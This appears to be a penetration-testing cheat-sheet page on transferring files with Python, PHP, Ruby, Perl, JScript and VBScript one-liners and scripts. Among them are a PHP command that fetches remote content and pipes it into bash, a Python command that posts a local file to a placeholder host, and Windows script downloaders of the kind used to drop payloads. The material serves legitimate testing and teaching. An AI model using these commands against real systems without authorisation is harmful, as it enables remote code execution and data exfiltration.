# File Transfer using Programming Languages

The use of programming languages provides flexibility and automation for moving files across systems. Below are some common methods using different programming languages:

* &#x20;Download using *Python*

{% code overflow="wrap" lineNumbers="true" %}

```bash
python -c 'import urllib.request;urllib.request.urlretrieve("https://$URL/$file", "$outFile")'
```

{% endcode %}

***

* &#x20;Upload using *Python*

{% code overflow="wrap" lineNumbers="true" %}

```bash
python3 -m uploadserver #Start server
python3 -c 'import requests;requests.post("http://$IP/$uploadFolder",files={"files":open("$pathToFile","rb")})'
```

{% endcode %}

***

* Download using *PHP*

{% code overflow="wrap" lineNumbers="true" %}

```bash
php -r '$file = file_get_contents("https://<URL>/<file>"); file_put_contents("<file>",$file);'

#Alternative
php -r 'const BUFFER = 1024; $fremote = fopen("https://<URL>/<file>", "rb"); $flocal = fopen("<file>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

#Alternative 2
php -r '$lines = @file("https://<URL>/<file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

{% endcode %}

{% hint style="warning" %}
The usual $ symbols that are used to point out the things we have to change are replaced by <> due to the use of this symbol as a reserved operator in PHP
{% endhint %}

***

* &#x20; Download using *Ruby*

{% code overflow="wrap" lineNumbers="true" %}

```bash
ruby -e 'require "net/http"; File.write("$outFile", Net::HTTP.get(URI.parse("https://$URL/$file")))'
```

{% endcode %}

***

* &#x20; Download using *Perl*

{% code overflow="wrap" lineNumbers="true" %}

```bash
perl -e 'use LWP::Simple; getstore("https://$URL/$file", "$outFile");'
```

{% endcode %}

***

* Create a script using JavaScript on *Windows*

{% code title="Download.js" overflow="wrap" lineNumbers="true" %}

```bash
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
cscript.exe /nologo Download.js $URL $outFile #Execute script to donwload
```

{% endcode %}

***

* &#x20; Create a script using Visual Basic Script on *Windows*

{% code title="Download.vbs" overflow="wrap" lineNumbers="true" %}

```bash
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
cscript.exe /nologo Download.vbs $URL $outFile #Execute script to donwload
```

{% endcode %}
